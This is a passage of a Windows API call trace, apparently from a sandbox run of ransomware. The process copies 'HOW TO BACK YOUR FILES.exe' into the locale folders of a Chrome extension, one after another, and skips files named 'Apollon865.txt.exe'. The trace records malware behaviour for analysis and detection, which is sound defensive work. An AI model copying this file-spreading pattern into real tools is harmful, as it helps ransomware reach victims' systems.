	[0048.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr"
	[0048.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7f40 | out: hHeap=0x580000) returned 1
	[0048.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0048.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr") returned 141
	[0048.229] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr"
	[0048.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d1ae10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d1ae10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.233] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.233] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.233] lstrlenW (lpString="messages.json") returned 13
	[0048.233] lstrlenW (lpString="Apollon865") returned 10
	[0048.233] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.233] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi"
	[0048.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7e18 | out: hHeap=0x580000) returned 1
	[0048.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0048.233] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi") returned 141
	[0048.233] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi"
	[0048.233] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.238] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d1ae10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d1ae10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.238] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.238] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.238] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.238] lstrlenW (lpString="messages.json") returned 13
	[0048.238] lstrlenW (lpString="Apollon865") returned 10
	[0048.238] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr"
	[0048.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7cf0 | out: hHeap=0x580000) returned 1
	[0048.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
	[0048.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr") returned 141
	[0048.239] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr"
	[0048.239] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.242] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d40f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d40f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.243] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.243] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.243] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.243] lstrlenW (lpString="messages.json") returned 13
	[0048.243] lstrlenW (lpString="Apollon865") returned 10
	[0048.243] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.243] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil"
	[0048.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7bc8 | out: hHeap=0x580000) returned 1
	[0048.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0048.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil") returned 142
	[0048.243] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil"
	[0048.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.248] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d40f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d40f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.248] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.248] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.248] lstrcpyW (in: lpString1=0x2d3e66e, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.248] lstrlenW (lpString="messages.json") returned 13
	[0048.248] lstrlenW (lpString="Apollon865") returned 10
	[0048.248] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.248] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi"
	[0048.248] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7aa0 | out: hHeap=0x580000) returned 1
	[0048.248] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0048.248] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi") returned 141
	[0048.248] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi"
	[0048.248] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.248] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d40f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d40f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.257] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.257] lstrlenW (lpString="messages.json") returned 13
	[0048.257] lstrlenW (lpString="Apollon865") returned 10
	[0048.257] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.258] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et"
	[0048.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7978 | out: hHeap=0x580000) returned 1
	[0048.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0048.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et") returned 141
	[0048.258] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et"
	[0048.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d670d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d670d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.262] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.262] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.262] lstrlenW (lpString="messages.json") returned 13
	[0048.263] lstrlenW (lpString="Apollon865") returned 10
	[0048.263] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.263] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419"
	[0048.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adbb0 | out: hHeap=0x580000) returned 1
	[0048.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0048.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419") returned 145
	[0048.263] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419"
	[0048.263] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.263] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.266] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d670d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d670d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
